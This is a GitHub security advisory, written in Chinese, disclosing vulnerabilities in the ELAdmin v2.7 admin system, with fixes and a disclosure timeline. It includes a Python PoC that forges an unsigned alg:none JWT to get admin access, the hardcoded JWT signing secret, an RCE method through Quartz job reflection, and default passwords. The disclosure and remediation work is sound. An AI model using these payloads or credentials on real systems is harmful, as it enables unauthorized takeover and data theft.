Kimdir01/eladmin-multi-vuln-cve

GitHub: Kimdir01/eladmin-multi-vuln-cve

该项目是针对 ELAdmin v2.7 后台管理系统的多个严重漏洞(JWT 绕过、RCE、硬编码密钥等)的安全研究 PoC 与披露报告。

Stars: 0 | Forks: 0

# GitHub 安全公告:ELAdmin v2.7 — 多个严重漏洞(JWT 绕过、RCE、权限提升) ## 公告信息 | 字段 | 值 | |-------|-------| | **严重程度** | 严重(多个) | | **CWE** | CWE-347 (JWT 签名验证绕过) / CWE-862 (缺少权限校验) / CWE-94 (代码注入) | | **CVSS v3.1** | 9.8 | | **CVSS 向量** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | ## 摘要 ELAdmin v2.7(在 GitHub 上拥有 2,700+ 星标,基于 Java Spring Boot 的后台管理系统)包含多个严重漏洞,包括:(1) 通过使用双重库导致的 JWT 签名验证绕过;(2) 在所有环境中硬编码 JWT 签名密钥;(3) 通过 Quartz 任务反射实现远程代码执行 (RCE);(4) 12+ 个未经身份验证/缺少权限校验的 endpoint。注意:无授权密码重置漏洞(CVE-2025-70997)此前已提交,此处不再声明。 ## 漏洞详情 ### 受影响的包/仓库 - **仓库:** `elunez/eladmin` - **受影响版本:** v2.7(当前版本) - **修复版本:** 无(0-day) **审计的 Commit Hash:** `55fbf705956949697dbd68bf9003776609d3d029` ## CVE-REQUEST-001:JWT 签名验证绕过 (CVSS 9.8) **文件:** `eladmin-common/src/main/java/me/zhengjie/utils/SecurityUtils.java:106,125` 该应用程序使用了两个不同的 JWT 库: - **JJWT** (`io.jsonwebtoken`) — 在 `TokenProvider.java` 中正确验证了签名 - **Hutool** (`cn.hutool.jwt.JWTUtil`) — 在 `SecurityUtils.java` 中未验证签名 ``` // SecurityUtils.java:106 — HUTOOL DECODES WITHOUT SIGNATURE VERIFICATION JWT jwt = JWTUtil.parseToken(token); // base64 decode only, NO crypto check return Long.valueOf(jwt.getPayload("userId").toString()); ``` **攻击方式:** 创建一个带有 `alg:"none"`、payload 为 `{"sub":"admin","userId":1}`、无签名的 JWT。这将绕过所有的身份验证。`SecurityUtils.getCurrentUserId()` 和 `getCurrentUsername()` 会接受伪造的 token。 ### PoC: ``` import base64, json, requests header = base64.b64encode(json.dumps({"alg":"none"}).encode()).decode().rstrip("=") payload = base64.b64encode(json.dumps({"sub":"admin","userId":1}).encode()).decode().rstrip("=") forged_jwt = f"{header}.{payload}." r = requests.get("http://target:8000/api/users", headers={"Authorization": f"Bearer {forged_jwt}"}) print(r.json()) # Returns all users as admin ``` ## CVE-REQUEST-002:所有环境中硬编码 JWT 密钥 (CVSS 9.8) **文件:** `application-dev.yml:85`, `application-prod.yml:89` ``` base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= ``` 开发和生产环境配置中的 HS512 签名密钥是完全相同的。任何可以访问公开 GitHub 仓库的人都可以解码这个 base64 密钥,并为任何用户伪造有效的 JWT token。 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = **9.8 严重** ## CVE-REQUEST-003:通过 Quartz 任务反射实现 RCE (CVSS 9.1) **文件:** `QuartzRunnable.java:36-55`, `QuartzJobController.java:84-104` ``` // QuartzRunnable.java — REFLECTIVE INVOCATION OF ANY METHOD ON ANY BEAN this.target = SpringBeanHolder.getBean(beanName); // ANY @Service bean this.method = target.getClass().getDeclaredMethod(methodName, String.class); ReflectionUtils.makeAccessible(method); // bypasses private method.invoke(target, params); // EXECUTION ``` `checkBean()` 仅验证 bean 名称是否存在 — `methodName` 和 `params` 完全未经过验证。拥有 `timing:edit` 权限的攻击者可以调用任何 Spring bean 上的任何方法。 **攻击方式:** 创建一个 `beanName: deployServiceImpl`、`methodName: deploy` 以及任意 shell 命令的任务 → 通过 SSH 在所有受管服务器上实现 RCE。 ## CVE-REQUEST-004:未经身份验证的 Druid 监控 + 12 个缺少权限校验的 Endpoint (CVSS 9.1) **未经身份验证的 endpoint:** - `/druid/**` — 数据库连接池监控(显示所有 SQL 查询) - `/generator/**` — 完整的数据库枚举和代码生成 - `/auth/code` — 电子邮件验证码 - `/api/email` — SMTP 凭据暴露(可读取 + 修改) - `/api/aliPay` — 支付宝商户私钥暴露 - `WebSocket /webSocket/**` — 部署状态流 ## 发现的其他问题(共 48 个 — 上面的 CVE-REQUEST-003/004 是新发现的,其他的已记录如下): - **无授权密码重置 (`resetPwd`)** — 不作声明:此前已作为 CVE-2025-70997 提交 - CSRF 被完全禁用 (`.csrf().disable()`) - CORS 配置为 `allowCredentials(true)` + `allowedOriginPattern("*")` - Frame options 被禁用(点击劫持) - 使用硬编码密钥 `"Passw0rd"` 的 DES 加密 (56-bit) - 用于密码解密的 RSA 私钥在配置中被硬编码 - JWT token 没有 `exp` 声明(完全依赖 Redis) - 用户密码哈希在登录响应 JSON 中暴露 - FastJSON2 使用 `WriteClassName` 导致的不安全反序列化 - Swagger/Knife4j API 文档未经身份验证即可访问 - 开发环境配置中硬编码了 MySQL root 密码 `123456` - 生产环境配置中的 Druid 控制台默认凭据为 `admin/123456` - SQL 种子数据中 `123456` 的默认管理员密码哈希 ## 影响 - 通过伪造 JWT + 密码重置实现**彻底的服务器沦陷** - 在部署组中的所有服务器上实现**远程代码执行** - **数据泄露** — 所有数据库表可枚举,所有用户数据可读取 - **凭据窃取** — 邮件密码、支付宝商户密钥、数据库密码 - **金融欺诈** — 修改支付宝配置,重定向支付 ## 补丁 / 修复 1. 将 `JWTUtil.parseToken()` 替换为可验证签名的 JJWT 解析器 2. 用特定环境的变量替换硬编码密钥 3. 在 `resetPwd()`、邮件配置、支付宝配置、generator 和 WebSocket 中添加 `@PreAuthorize` 4. 将 Quartz 任务执行中允许的方法名加入白名单 5. 启用 CSRF 防护 6. 将 CORS 修复为特定的源 7. 将 DES 替换为 AES-256-GCM 8. 启用 Druid 控制台身份验证 9. 在生产环境中禁用 Swagger ## 披露时间表 - **2026-06-28:** 由 Fatullayev Asadbek (Kimdir01) 发现漏洞 - **待定:** 报告给维护者 - **待定:** 通过 GitHub 请求 CVE - **待定:** 发布安全公告 ## 致谢 - 发现者:Fatullayev Asadbek | GitHub:Kimdir01 - 独立安全研究员 ## 参考 - CWE-347:密码签名验证不当 - CWE-798:使用硬编码凭据 - CWE-862:缺少权限校验 - CWE-94:代码注入
标签:JS文件枚举, PoC, StruQ, Web安全, 暴力破解, 蓝队分析, 逆向工具